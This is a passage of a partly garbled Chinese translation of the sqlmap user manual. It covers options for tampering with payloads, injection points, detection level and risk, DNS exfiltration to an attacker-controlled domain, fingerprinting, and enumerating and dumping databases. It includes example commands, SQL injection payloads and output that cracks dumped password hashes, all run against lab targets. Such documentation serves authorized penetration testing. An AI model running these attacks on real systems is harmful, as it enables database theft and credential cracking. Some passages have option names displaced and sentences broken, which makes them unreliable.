选项:--timeout

在考虑 HTTP(S) 请求的时长之前,可以指定等待的秒数。有效值是浮点,例如 10.5 表示 10 秒半。默认情况下设置 30秒。

HTTP 连接超时时的最大重数

选项:--retries

当 HTTP(S) 连接超时时,可以指定最大应重数。默认情况下,它重重多达三次

随机更改给定参数的值

选项:--randomize

可以指定参数名称,您希望在每个请求期间随机更改其值。长度和类型根据提供的原始值保留。

使用正则表达式从提供的代理日志筛选目标

选项:--scope

与使用从提供的日志解析的所有主机的选项,您可以指定有效的 Python 正则表达式用于筛选所需的主机。-l

有效语法示例:

$ python sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"

避免在请求太多失败后销毁会话

选项: 、 和--safe-url``--safe-post``--safe-req``--safe-freq

有时,如果执行一定数量的不成功请求,介于两者之间的 Web 应用程序或检查技术会破坏会话。这可能发生在 sqlmap 的检测阶段,或者它利用任何盲 SQL 注入类型时。原因是 SQL 有效负载不一定返回输出,因此可能会向应用程序会话管理或检查技术发出信号。

若要绕过目标设置的此限制,可以提供任何(或组合)选项:

  • --safe-url:在测试期间要经常访问的 URL 地址。
  • --safe-post:HTTP POST 数据发送到给定的安全 URL 地址。
  • --safe-req:从文件加载和使用安全 HTTP 请求。
  • --safe-freq: 测试两次访问给定安全位置之间的请求。

这样,sqlmap 将访问每个预定义的请求数量,该请求是某个安全URL,而无需对它执行任何类型的注入。

关闭参数值的 URL 编码

开关:--skip-urlencode

根据参数放置(例如 GET),默认情况下其值可以进行 URL 编码。在某些情况下,端端 Web 服务器不遵循 RFC 标准,并且要求以原始非编码形式发送值。在此类情况下使用。--skip-urlencode

绕过防 CSRF 保护

选项: 和--csrf-token``--csrf-url

许多网站以令牌的形式纳入了反 CSRF 保护,这些令牌是在每个页面响应期间随机设置的隐藏字段值。sqlmap 将自动尝试识别和绕过此类保护,但存在一些选项,可用于进一步微调它。选项可用于设置包含随机令牌的隐藏值的名称。当网站对此类字段使用非标准名称时,这非常有用。选项可用于从任意 URL 地址检索令牌值。如果易受攻击的目标 URL 最初不包含必要的令牌值,但需要从其他位置提取它,则此功能非常有用。--csrf-token``--csrf-url``--csrf-token``--csrf-url

强制使用 SSL/HTTPS

开关:--force-ssl

如果用户希望强制使用 SSL/HTTPS 请求对目标,他可以使用此开关。这在使用选项收集 URL 时或使用选项提供 Burp 日志时非常有用。--crawl``-l

评估每个请求期间的自定义 python 代码

选项:--eval

如果用户想要更改(或添加新)参数值(很可能由于某些已知的依赖关系),他可以向 sqlmap 提供自定义 python 代码,该选项将在每次请求之前进行评估。--eval

例如:

$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b9238\
20dcc509a6f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"

此类运行的每个请求都将重新评估 GET 参数的值,以包含参数当前值的新的 MD5 哈希摘要。hash``id

优化

这些开关可用于优化 sqlmap 的性能。

捆绑包优化

开关:-o

此开关是隐式设置以下选项和开关的别名:

  • --keep-alive
  • --null-connection
  • --threads=3如果未设置为较高的值。

有关每个交换机的详细信息,请阅读下文。

输出预测

开关:--predict-output

此开关用于推理算法,用于对检索值的字符进行连续统计预测。具有最有希望的字符值的统计表是根据给定的项和当前使用的枚举知识构建的。如果可以在公共输出值中找到该值,则随着流程的进行,后续字符表正在越来越缩小。如果与检索公共 DBMS 实体(如系统表名称和权限)结合使用,则速度显著。当然,如果您注意到数据库表名称或类似名称中的通用模式,您可以根据需要编辑公共输出文件。txt/common-outputs.txt

请注意,此开关与交换机不兼容。--threads

HTTP 保持活动状态

开关:--keep-alive

此开关指示 sqlmap 使用持久 HTTP 连接。

请注意,此交换机与交换机不兼容。--proxy

HTTP 空连接

开关:--null-connection

有特殊的 HTTP 请求类型可用于检索 HTTP 响应的大小,而无需获取 HTTP 正文。这种知识可用于盲注射技术,以区分与反应。提供此开关时,sqlmap 将尝试测试和利用两种不同的NULL 连接技术:和 。如果目标 Web 服务器支持其中任何一个,则速度将来自明显节省的已用带宽。True``False``Range``HEAD

这些技术在白皮书《盲 SQL 注入中的突发性能 - 采取 2 (带宽))》中详细介绍了。

请注意,此开关与 交换机不兼容。--text-only

并发 HTTP(S) 请求

选项:--threads

可以指定允许 sqlmap 执行的并发 HTTP(S) 请求的最大数量。此功能依赖于多线程概念,并继承了其亲概念和缺点。

此功能适用于暴力开关,以及通过任何盲 SQL 注入技术完成数据提取时。对于后一种情况,sqlmap 首先计算单个线程中的查询输出的长度,然后启动多线程。每个线程都分配来检索查询输出的一个字符。检索该字符时,线程结束 - 它最多需要 7 个 HTTP(S) 请求,该请求在 sqlmap 中实现双节算法。

出于性能和站点可靠性原因,并发请求的最大数设置为10。

请注意,此选项与交换机不兼容。--predict-output

注射

这些选项可用于指定要测试的参数、提供自定义注入有效负载和可选的篡改脚本。

可测试参数

选项: 和-p``--skip``--param-exclude

默认情况下,sqlmap 测试所有 GET 参数和 POST 参数。当 值为 >= 2 时,它也会测试 HTTP 标头值。当此值为 >= 3 时,它还会测试 SQL 注入的 HTTP 和 HTTP 标头值。但是,可以手动指定您希望 sqlmap 测试的参数逗号分隔列表。这将绕过对价值的依赖。--level``Cookie``User-Agent``Referer``--level

例如,若要仅测试 GET 参数和 HTTP,请提供 。id``User-Agent``-p "id,user-agent"

如果用户希望从测试中排除某些参数,他可以使用 选项 。当您想要使用更高的值并测试所有可用参数(不包括通常测试的一些 HTTP 标头)时,这尤其有用。--skip``--level

例如,若要跳过对 HTTP 标头和 HTTP 标头的测试,请提供 。User-Agent``Referer``--level=5``--skip="user-agent,referer"

还可以根据基于其名称运行的正则表达式从测试中排除某些参数。在这种情况下,用户可以使用选项。--param-exclude

例如,若要跳过对包含字符串或其名称中的参数的测试,请提供 。token``session``--param-exclude="token|session"

URI 喷射点

当注射点位于 URI 本身中时,有特殊情况。sqlmap 不会对 URI 路径执行任何自动测试,除非手动指向。您必须通过在每个 URI 点后追加星号 () (注意: Havij 样式也受支持)来在命令行中指定这些注入点,您希望 sqlmap 测试并利用 SQL 注入。*``%INJECT HERE%

例如,当 Apache Web 服务器的模块正在使用或mod_rewrite技术时,这尤其有用。

有效命令行的示例是:

$ python sqlmap.py -u "http://targeturl/param1/value1*/param2/value2/"

任意喷射点

与 URI 注入点类似,星号 () (注意: 也支持 Havij 样式) 也可用于指向 GET、POST 或 HTTP 标头内的任意注入点。可以通过在提供选项的 GET 参数值内标记注入点,POST 参数值(s) 提供选项,HTTP 标头值提供选项、和 /或,或在从带有 选项的文件加载的 HTTP 请求内的通用位置指定。*``%INJECT HERE%``-u``--data``-H``--headers``--user-agent``--referer``--cookie``-r

有效命令行的示例是:

$ python sqlmap.py -u "http://targeturl" --cookie="param1=value1*;param2=value2"

强制 DBMS

选项:--dbms

默认情况下,sqlmap 会自动检测 Web 应用程序的端到端数据库管理系统。sqlmap 完全支持以下数据库管理系统:

  • MySQL
  • Oracle
  • PostgreSQL
  • Microsoft SQL Server
  • Microsoft Access
  • IBM DB2
  • SQLite
  • Firebird
  • Sybase
  • SAP MaxDB
  • Informix
  • MariaDB
  • Percona
  • MemSQL
  • TiDB
  • CockroachDB
  • HSQLDB
  • H2
  • MonetDB
  • Apache Derby
  • Amazon Redshift
  • Vertica
  • Mckoi
  • Presto
  • Altibase
  • MimerSQL
  • CrateDB
  • Greenplum
  • Drizzle
  • Apache Ignite
  • Cubrid
  • InterSystems Cache
  • IRIS
  • eXtremeDB
  • FrontBase

如果 Sqlmap 由于任何原因在识别 SQL 注入后无法检测到端端 DBMS,或者如果您想要避免活动 fingeprint,您可以自己提供后端 DBMS 的名称(例如 )。对于 MySQL 和 Microsoft SQL Server,它们分别以 形式 和 形式提供,其中 DBMS 的有效版本;例如,对于 MySQL 和微软 SQL Server。postgresql``MySQL <version>``Microsoft SQL Server <version> ``<version>``5.0``2005

如果与 一起提供 ,sqlmap 将仅对指定的数据库管理系统执行大量指纹,请阅读下文了解更多详细信息。--fingerprint``--dbms

请注意,此选项不是强制性的,强烈建议仅在您绝对确定最终用户数据库管理系统时才使用它。如果您不知道,请让 sqlmap 自动为你指纹。

强制数据库管理系统操作系统名称

选项:--os

默认情况下,sqlmap 自动检测 Web 应用程序的后端数据库管理系统,当此信息依赖于任何其他提供的交换机或选项时。目前,完全支持的操作系统是:

  • Linux
  • 窗户

如果您已经知道操作系统名称,则可以强制它,以便 sqlmap 将避免它本身执行。

请注意,此选项不是强制性的,强烈建议仅在您绝对确定基于操作系统的端到端数据库管理系统时才使用它。如果您不知道,请让 sqlmap 自动识别它。

强制使用大数字使值无效

开关:--invalid-bignum

当 sqlmap 需要使原始参数值无效时(例如 ),它使用经典否定(例如 )。使用此开关,可以强制使用大整数值来实现相同的目标(例如 )。id=13``id=-13``id=99999999

强制使用逻辑操作使值无效

开关:--invalid-logical

当 sqlmap 需要使原始参数值无效时(例如 ),它使用经典否定(例如 )。使用此开关,可以强制使用布尔操作来实现相同的目标(例如 )。id=13``id=-13``id=13 AND 18=19

强制使用随机字符串使值无效

开关:--invalid-string

当 sqlmap 需要使原始参数值无效时(例如 ),它使用经典否定(例如 )。使用此开关可以强制使用随机字符串来实现相同的目标(例如 )。id=13``id=-13``id=akewmc

关闭有效负载铸造机构

开关:--no-cast

检索结果时,sqlmap 使用一种机制,其中所有条目都强制转换到字符串类型,并在值的情况下替换为空白字符。这样做是为了防止任何错误状态(例如,将值与字符串值串联),并便于数据检索过程本身。然而,由于数据检索本身的问题(例如,需要关闭此机制(使用此开关),因此报告了一些案例(例如 MySQL DBMS 的较旧版本)。 值返回)。NULL``NULL``None

关闭字符串转义机制

开关:--no-escape

当 sqlmap 需要在有效负载内使用 (单引号分隔) 字符串值时(例如 ),这些值将自动转义(例如 )。这样做是因为两件事:混淆有效负载内容和防止查询转义机制的潜在问题(例如: 和/或 ) 在后端服务器。用户可以使用此开关将其关闭(例如,减小有效负载大小)。SELECT \'foobar\'``SELECT CHAR(102)+CHAR(111)+CHAR(111)+CHAR(98)+CHAR(97)+CHAR(114)``magic_quotes``mysql_real_escape_string

自定义喷射有效负载

选项: 和--prefix``--suffix

在某些情况下,只有在用户提供要附加到注入有效负载的特定后缀时,才能利用易受攻击的参数。当用户已经知道查询语法并希望通过直接提供注入有效负载前缀和后缀来检测和利用 SQL 注入时,这些选项会派上用场。

易受攻击的源代码示例:

$query = "SELECT * FROM users WHERE id=(\'" . $_GET[\'id\'] . "\') LIMIT 0, 1";

若要检测和利用此 SQL 注入,可以让 sqlmap检测阶段检测边界(如 SQL 有效负载前缀和后缀的组合),也可以自己提供这些边界。

例如:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php\
?id=1" -p id --prefix "\')" --suffix "AND (\'abc\'=\'abc"
[...]

这将导致所有 sqlmap 请求以查询结束,如下所示:

$query = "SELECT * FROM users WHERE id=(\'1\') <PAYLOAD> AND (\'abc\'=\'abc\') LIMIT 0, 1";

这使得查询在语法上是正确的。

在这个简单的示例中,sqlmap 可以检测 SQL 注入并利用它,而无需提供自定义边界,但有时在实际应用程序中,当注入点位于嵌套查询中时,需要提供它。JOIN

篡改注入数据

选项:--tamper

sqlmap 本身不会混淆发送的有效负载,但单引号之间的字符串替换为其类似表示形式。CHAR()

在您和回端数据库管理系统之间输入验证机制较弱的情况下,此选项非常有用且功能强大。此机制通常是由应用程序源代码、昂贵的企业级 IPS 设备或 Web 应用程序防火墙 (WAF) 调用的自开发的输入验证例程。所有流行语定义相同的概念, 以不同的方式实现, 并花费很多钱, 通常。

要利用此选项,请向 sqlmap 提供一个逗号分隔的篡改脚本列表,这将处理有效负载并返回其转换。您可以定义自己的篡改脚本,从文件夹中使用 sqlmap 脚本,或者编辑它们,只要将它们串联为选项的值(例如 )。tamper/``--tamper``--tamper="between,randomcase"

有效篡改脚本的格式如下:

# Needed imports
from lib.core.enums import PRIORITY

# Define which is the order of application of tamper scripts against
# the payload
__priority__ = PRIORITY.NORMAL

def tamper(payload):
    \'\'\'
    Description of your tamper script
    \'\'\'

    retVal = payload

    # your code to tamper the original payload

    # return the tampered payload
    return retVal

您可以在目录中检查有效和可用篡改脚本。tamper/

假设字符、空格和大写字符串被禁止,则针对 MySQL 目标的示例:>``SELECT

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --\
tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3

[hh:mm:03] [DEBUG] cleaning up configuration parameters
[hh:mm:03] [INFO] loading tamper script \'between\'
[hh:mm:03] [INFO] loading tamper script \'randomcase\'
[hh:mm:03] [INFO] loading tamper script \'space2comment\'
[...]
[hh:mm:04] [INFO] testing \'AND boolean-based blind - WHERE or HAVING clause\'
[hh:mm:04] [PAYLOAD] 1)/**/And/**/1369=7706/**/And/**/(4092=4092
[hh:mm:04] [PAYLOAD] 1)/**/AND/**/9267=9267/**/AND/**/(4057=4057
[hh:mm:04] [PAYLOAD] 1/**/AnD/**/950=7041
[...]
[hh:mm:04] [INFO] testing \'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
\'
[hh:mm:04] [PAYLOAD] 1/**/anD/**/(SELeCt/**/9921/**/fROm(SELeCt/**/counT(*),CONC
AT(cHar(58,117,113,107,58),(SELeCt/**/(case/**/whEN/**/(9921=9921)/**/THeN/**/1/
**/elsE/**/0/**/ENd)),cHar(58,106,104,104,58),FLOOR(RanD(0)*2))x/**/fROm/**/info
rmation_schema.tables/**/group/**/bY/**/x)a)
[hh:mm:04] [INFO] GET parameter \'id\' is \'MySQL >= 5.0 AND error-based - WHERE or
 HAVING clause\' injectable 
[...]

检测

这些选项可用于自定义检测阶段。

水平

选项:--level

此选项需要指定要执行的测试级别的参数。有五个级别。默认值为1,其中执行的测试(请求)数量有限。反之亦然,级别5将详细测试更多的有效负载和边界(如 SQL 有效负载前缀和后缀对)。sqlmap 使用的有效负载在文本文件中指定。按照文件顶部的说明,如果 sqlmap 错过了注入,您应该能够添加自己的有效负载来测试!xml/payloads.xml

此选项不仅影响哪些有效负载 sqlmap 尝试,还影响考试中哪些注入点:始终测试 GET 和POST 参数,从级别2测试 HTTP Cookie 标头值,从级别3测试 HTTP 用户代理/引用者标头的值。

总之,检测 SQL 注入越困难,必须设置得越高。--level

强烈建议在向邮件列表报告 sqlmap 无法检测到某个注入点之前提高此值。

风险

选项:--risk

此选项需要指定要执行测试风险的参数。有三风险值。默认值为1,对于大多数 SQL 注入点都是无害的。风险值 2 将重查询时间 SQL 注入的测试添加到默认级别,值 3 添加也基于 SQL 注入的测试。OR

在某些情况下,如语句中的 SQL 注入,注入基于负载会导致表的所有条目的更新,这肯定不是攻击者想要的。出于这个原因和其他选项已经引入:用户可以控制哪些有效负载得到测试,用户可以任意选择使用也潜在的危险。根据上一个选项,sqlmap 使用的有效负载在文本文件中指定,您可以*编辑和添加自己的负载。UPDATE``OR``xml/payloads.xml

页面比较

选项: 、 和--string``--not-string``--regexp``--code

默认情况下,通过将注入的请求页面内容与原始未注入的页面内容进行比较,可以区分查询与查询(基于布尔的盲 SQL 注入漏洞背后的粗略概念)。这个概念并不总是有效的,因为有时页面内容在每次刷新时都发生更改,甚至不注入任何内容,例如,当页面具有计数器、动态播发横幅或 HTML 的任何其他部分时,这些部分会动态呈现,并且可能会及时更改,从而影响用户的输入。若要绕过此限制,sqlmap 会尽力识别响应实体的这些片段并进行相应的处理。有时它可能失败,这就是为什么用户可以提供一个字符串(选项),这应该存在于原始页面(虽然它不是一个要求)和所有真注入查询页,但它不是在False 的。用户可以提供正则表达式(选项),而不是静态字符串。或者,用户可以提供一个字符串(选项),该字符串(选项)不存在于原始页面上,也未出现在所有 True 注入的查询页上,但始终显示在 False 上。True``False``--string``--regexp``--not-string

此类数据对于用户来说很容易检索,只需尝试将无效值注入受影响的参数,然后手动将原始(未注入)页面内容与注入的错误页面内容进行比较。这样,区别将基于字符串存在或正则表达式匹配。

当用户知道查询与查询之间的区别可以使用 HTTP 代码完成的情况下(例如, 和 ,他可以向 sqlmap 提供该信息(例如 )。True``False``200``True``401``False``--code=200

开关:和--text-only``--titles

当用户知道查询与查询之间的区别可以使用 HTML 标题完成的情况下(例如, 对于 和 ),他可以使用开关打开基于标题的比较。True``False``Welcome``True``Forbidden``False``--titles

在 HTTP 响应正文中包含大量活动内容(如脚本、嵌入等)的情况下,您可以筛选页面(切换),只查看其文本内容。这样,在很多情况下,您可以自动调整检测引擎。--text-only

技术

这些选项可用于调整特定 SQL 注入技术的测试。

要测试的 SQL 注入技术

选项:--technique

此选项可用于指定要测试的 SQL 注入类型。默认情况下,它支持的所有类型/技术的 sqlmap 测试。

在某些情况下,您可能只想测试一种或几种特定类型的 SQL 注入思想,这就是此选项发挥作用的地方。

此选项需要参数。此类参数是由 、、 和 等 和 字符的任意组合组成的字符串,其中每个字母代表不同的技术:B``E``U``S``T``Q

  • B: 基于布尔的盲
  • E: 基于错误的
  • U: 基于联合查询
  • S: 堆叠查询
  • T: 基于时间的盲
  • Q: 内联查询

例如,如果只想测试和利用基于错误的查询和堆叠的查询 SQL 注入类型,可以提供。默认值为 。ES``BEUSTQ

请注意,当您要访问文件系统、接管操作系统或访问 Windows 注册表配置单元时,该字符串必须包含堆叠查询技术字母 。S

延迟基于时间的盲 SQL 注入的 DBMS 响应的秒数

选项:--time-sec

在测试基于时间的盲 SQL 注入时,可以设置秒以延迟响应,为此提供了后跟整数的选项。默认情况下,其值设置为5 秒--time-sec

UNION 查询 SQL 注入中的列数

选项:--union-cols

默认情况下,使用 1 到 10 列对 UNION 查询 SQL 注入技术进行 sqlmap 测试。但是,通过提供更高的值,可以增加此范围最多 50 列。有关详细信息,请参阅相关段落。--level

通过向该工具提供选项后跟一系列整数,可以手动告诉 sqlmap 使用特定范围的列来测试这种类型的 SQL 注入。例如,通过使用 12 到 16 列来测试 UNION 查询 SQL 注入。--union-cols``12-16

用于测试 UNION 查询 SQL 注入的字符

选项:--union-char

默认情况下,使用字符测试 UNION 查询 SQL 注入技术的 sqlmap。但是,通过提供较高的值 sqlmap 也将使用随机数执行测试,因为在某些角落情况下,UNION 查询测试失败,而使用随机整数则成功。NULL``--level``NULL

您可以使用具有所需字符值的选项(例如 ),可以手动告诉 sqlmap 使用特定字符测试这种类型的 SQL 注入。--union-char``--union-char 123

要在 UNION 查询 SQL 注入的 FROM 部分中使用的表

选项:--union-from

在某些 UNION 查询 SQL 注入情况下,需要在子句中强制使用有效和可访问的表名。例如,Microsoft Access 需要使用此类表。如果没有提供一个 UNION 查询 SQL 注入将无法正确执行(例如 )。FROM``--union-from=users

DNS 渗透攻击

选项:--dns-domain

DNS渗漏SQL注入攻击在SQL注入攻击中通过DNS进行纸质数据检索,而在Sqlmap内部的实现表现可以在使用sqlmap的幻灯片SDN渗漏中找到

如果用户正在控制注册为 DNS 域服务器(例如域)的机器,他可以使用此选项(例如 )打开此攻击。它工作的先决条件是运行具有特权(使用特权端口)的 sqlmap,并且一种正常(盲)技术可用于利用。这就是攻击的目的,就是在至少识别一种技术(最好基于时间的盲项)的情况下加快数据检索过程。如果基于错误的盲查询或 UNION 查询技术可用,则默认情况下将跳过这些技术,因为这些技术是首选。attacker.com``--dns-domain attacker.com``Administrator``53

二阶攻击

选项: 和--second-url``--second-req

二阶 SQL 注入攻击是一种攻击,其中一个易受攻击的页中注入的有效负载的结果显示(反射)另一个(例如帧)。通常,这是因为用户在原始易受攻击的页面上提供的输入的数据库存储。

您可以使用 URL 地址或请求文件的选项将发送到显示结果的服务器,手动告诉 sqlmap 以测试这种类型的 SQL 注入。--second-order``--second-req

指纹

广泛的数据库管理系统指纹

开关:或-f``--fingerprint

默认情况下,Web 应用程序的端端数据库管理系统指纹由 sqlmap 自动处理。在检测阶段结束后,用户最终被提示选择要继续使用哪个易受攻击的参数,sqlmap 会对端端数据库管理系统进行指纹识别,然后通过知道要使用的 SQL 语法、方言和查询来继续注入,以便在数据库体系结构的范围内继续攻击。

如果对于任何实例,您想要基于各种技术(如特定的 SQL 方言和带内错误消息)执行广泛的数据库管理系统指纹,您可以提供 switch 。sqlmap 将执行更多的请求,并识别确切的 DBMS 版本,并在可能的情况下对操作系统、体系结构和修补程序级别进行指纹识别。--fingerprint

如果希望指纹的结果更准确,还可以提供开关或 。-b``--banner

枚举

这些选项可用于枚举表中包含的端端数据库管理系统信息、结构和数据。此外,您可以运行自己的 SQL 语句。

检索所有

开关:--all

此开关可用于用户希望使用单个交换机检索可远程访问的所有内容的情况。不建议这样做,因为它将生成大量检索有用和未用数据的请求。

旗帜

切换:或-b``--banner

大多数现代数据库管理系统都有一个函数和/或一个环境变量,它返回数据库管理系统版本,并最终详细说明其修补程序级别,即基础系统。通常函数为,环境变量为 ,但这取决于目标 DBMS。version()``@@version

针对 Oracle 目标的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int.php?id=1" -\
-banner

[...]
[xx:xx:11] [INFO] fetching banner
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
banner:    \'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod\'

会话用户

开关:--current-user

通过此开关,可以检索数据库管理系统的用户,该用户正在从 Web 应用程序对端 DBMS 有效执行查询。

当前数据库

Switch: --current-db

With this switch it is possible to retrieve the database management system\'s database name that the web application is connected to.

Server hostname

Switch: --hostname

With this switch it is possible to retrieve the database management system\'s hostname.

Example against a MySQL target:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --\
hostname

[...]
[xx:xx:04] [INFO] fetching server hostname
[xx:xx:04] [INFO] retrieved: debian-5.0-i386
hostname:    \'debian-5.0-i386\'

检测会话用户是否为数据库管理员

开关:--is-dba

可以检测当前数据库管理系统会话用户是否为数据库管理员,也称为 DBA。sqlmap 将返回,如果是,反之亦然。True``False

列出数据库管理系统用户

开关:--users

当会话用户读取了包含 DBMS 用户信息的系统表时,可以枚举用户列表。

列出和破解数据库管理系统用户密码哈希

开关:--passwords

当会话用户读取对包含 DBMS 用户密码信息的系统表的访问权限时,可以枚举每个数据库管理系统用户的密码哈希。sqlmap 将首先枚举用户,然后对每个用户使用不同的密码哈希。

针对 PostgreSQL 目标的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --\
passwords -v 1

[...]
back-end DBMS: PostgreSQL
[hh:mm:38] [INFO] fetching database users password hashes
do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
[hh:mm:42] [INFO] using hash method: \'postgres_passwd\'
what\'s the dictionary\'s location? [/software/sqlmap/txt/wordlist.txt] 
[hh:mm:46] [INFO] loading dictionary from: \'/software/sqlmap/txt/wordlist.txt\'
do you want to use common password suffixes? (slow!) [y/N] n
[hh:mm:48] [INFO] starting dictionary attack (postgres_passwd)
[hh:mm:49] [INFO] found: \'testpass\' for user: \'testuser\'
[hh:mm:50] [INFO] found: \'testpass\' for user: \'postgres\'
database management system users password hashes:
[*] postgres [1]:
    password hash: md5d7d880f96044b72d0bba108ace96d1e4
    clear-text password: testpass
[*] testuser [1]:
    password hash: md599e5ea7a6f7c3269995cba3927fd0093
    clear-text password: testpass

sqlmap 不仅枚举了 DBMS 用户及其密码,还识别了 PostgreSQL 的哈希格式,询问用户是否针对字典文件测试哈希,并标识了用户的明文密码(通常是与其他用户一起的 DBA,即密码)。postgres``testuser

此功能已用于所有 DBMS,其中可以枚举用户的密码哈希,包括 2005 年之前和之后,包括 Oracle 和 Microsoft SQL Server。

您还可以提供指定要枚举的特定用户并最终破解密码哈希的选项。如果您提供用户名,它将视为当前用户的别名,并将检索此用户的密码哈希。-U``CU

列出数据库管理系统用户权限

开关:--privileges

当会话用户读取包含 DBMS 用户信息的系统表时,可以枚举每个数据库管理系统用户的权限。通过权限,sqlmap 还将显示哪些是数据库管理员。

您还可以提供选项来指定要枚举权限的用户。-U

如果您作为用户名提供,它将视为当前用户的别名,并将枚举此用户的权限。CU

在 Microsoft SQL Server 上,此功能将显示每个用户是否都是数据库管理员,而不是所有用户的权限列表。

列出数据库管理系统用户角色

开关:--roles

当会话用户读取包含 DBMS 用户信息的系统表时,可以枚举每个数据库管理系统用户的角色。

您还可以提供选项来指定要枚举权限的用户。-U

If you provide as username it will consider it as an alias for current user and will enumerate the privileges for this user.CU

This feature is only available when the DBMS is Oracle.

List database management system\'s databases

Switch: --dbs

When the session user has read access to the system table containing information about available databases, it is possible to enumerate the list of databases.

Enumerate database\'s tables

Switches and option: , and --tables``--exclude-sysdbs``-D

When the session user has read access to the system table containing information about databases\' tables, it is possible to enumerate the list of tables for a specific database management system\'s databases.

If you do not provide a specific database with option , sqlmap will enumerate the tables for all DBMS databases.-D

You can also provide the switch to exclude all system databases.--exclude-sysdbs

Note that on Oracle you have to provide the instead of the database name.TABLESPACE_NAME

Enumerate database table columns

Switch and options: , , and --columns``-C``-T``-D

When the session user has read access to the system table containing information about database\'s tables, it is possible to enumerate the list of columns for a specific database table. sqlmap also enumerates the data-type for each column.

This feature depends on option to specify the table name and optionally on to specify the database name. When the database name is not specified, the current database name is used. You can also provide the option to specify the table columns name like the one you provided to be enumerated.-T``-D``-C

Example against a SQLite target:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" -\
-columns -D testdb -T users -C name
[...]
Database: SQLite_masterdb
Table: users
[3 columns]
+---------+---------+
| Column  | Type    |
+---------+---------+
| id      | INTEGER |
| name    | TEXT    |
| surname | TEXT    |
+---------+---------+

Note that on PostgreSQL you have to provide or the name of a system database. That\'s because it is not possible to enumerate other databases tables, only the tables under the schema that the web application\'s user is connected to, which is always aliased by .public``public

Enumerate database management system schema

Switches: and --schema``--exclude-sysdbs

User can retrieve a DBMS schema by using this switch. Schema listing will contain all databases, tables and columns, together with their respective types. In combination with only part of the schema containing non-system databases will be retrieved and shown.--exclude-sysdbs

针对 MySQL 目标的示例:

$ python sqlmap.py -u "http://192.168.48.130/sqlmap/mysql/get_int.php?id=1" --s\
chema--batch --exclude-sysdbs

[...]
Database: owasp10
Table: accounts
[4 columns]
+-------------+---------+
| Column      | Type    |
+-------------+---------+
| cid         | int(11) |
| mysignature | text    |
| password    | text    |
| username    | text    |
+-------------+---------+

Database: owasp10
Table: blogs_table
[4 columns]
+--------------+----------+
| Column       | Type     |
+--------------+----------+
| date         | datetime |
| blogger_name | text     |
| cid          | int(11)  |
| comment      | text     |
+--------------+----------+

Database: owasp10
Table: hitlog
[6 columns]
+----------+----------+
| Column   | Type     |
+----------+----------+
| date     | datetime |
| browser  | text     |
| cid      | int(11)  |
| hostname | text     |
| ip       | text     |
| referer  | text     |
+----------+----------+

Database: testdb
Table: users
[3 columns]
+---------+---------------+
| Column  | Type          |
+---------+---------------+
| id      | int(11)       |
| name    | varchar(500)  |
| surname | varchar(1000) |
+---------+---------------+
[...]

检索表的条目数

开关:--count

如果用户只想在转储所需的表之前知道表中的条目数,他可以使用此开关。

针对 Microsoft SQL Server 目标的示例:

$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1"\
 --count -D testdb
[...]
Database: testdb
+----------------+---------+
| Table          | Entries |
+----------------+---------+
| dbo.users      | 4       |
| dbo.users_blob | 2       |
+----------------+---------+

转储数据库表条目

开关和选项: , , , , , , 、 、 、 、 、 、 、 、 、 、 、 、 、 、 、 、 、 、 、 、 、 、 、 、 、 、 、 、 、 、 、--dump``-C``-T``-D``--start``--stop``--first``--last``--pivot-column``--where

当会话用户已读取对特定数据库的表的访问权限时,可以转储表条目。

此功能取决于指定表名的选项,可选的选项用于指定数据库名称。如果提供了表名,但数据库名称未提供,则使用当前数据库名称。-T``-D

针对火鸟目标的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1"\
 --dump -T users
[...]
Database: Firebird_masterdb
Table: USERS
[4 entries]
+----+--------+------------+
| ID | NAME   | SURNAME    |
+----+--------+------------+
| 1  | luther | blisset    |
| 2  | fluffy | bunny      |
| 3  | wu     | ming       |
| 4  | NULL   | nameisnull |
+----+--------+------------+

此开关还可用于转储提供数据库的所有表条目。您只需提供具有开关的 sqlmap 以及仅选项(否和否)。--dump``-D``-T``-C

您还可以提供要使用 选项转储的特定列的逗号分隔列表。-C

sqlmap 还为每个转储 CSV 格式文本文件中的条目的表生成。您可以看到 sqlmap 通过提供大于或等于1的详细程度级别创建文件的绝对路径。

如果只想转储一系列条目,则可以提供选项和/或分别从某个条目开始转储,并在某个条目停止转储。例如,如果只想转储第一个条目,请在命令行中提供。反之亦然,例如,如果您只想转储第二个和第三个条目,则 提供 。--start``--stop``--stop 1``--start 1``--stop 3

还可以指定使用 选项 和 转储的单个字符或字符范围。例如,如果要转储列的条目,从第三个字符转储到第五个字符,请提供 。此功能仅适用于盲 SQL 注入技术,因为对于基于错误的查询 SQL 注入技术,请求数完全相同,而不管要转储的列的条目输出的长度如何。--first``--last``--first 3``--last 5

有时(例如,对于 Microsoft SQL Server、Sybase 和 SAP MaxDB),由于缺乏类似的机制,不可能直接使用机制转储表行。在这种情况下,sqlmap 会通过确定最合适的列(具有最唯一值的列)来转储内容,这些列的值稍后用于检索其他列值。如果由于自动选择的列不适合(例如,由于缺乏表转储结果),因此有必要强制使用特定列,您可以使用选项(例如 )。OFFSET m, n``pivot``pivot``--pivot-column``--pivot-column=id

如果希望将转储约束到特定列值(或范围),可以使用 选项 。提供的逻辑操作将自动在子句内使用。例如,如果仅使用值大于 3 的表行(通过追加到已使用的转储查询)。--where``WHERE``--where="id>3"``id``WHERE id>3

正如您现在可能已经注意到的,sqlmap灵活的:您可以让它自动转储整个数据库表,或者您可以非常精确地在哪些字符中转储、从哪些列和哪个条目范围转储。

转储所有数据库表条目

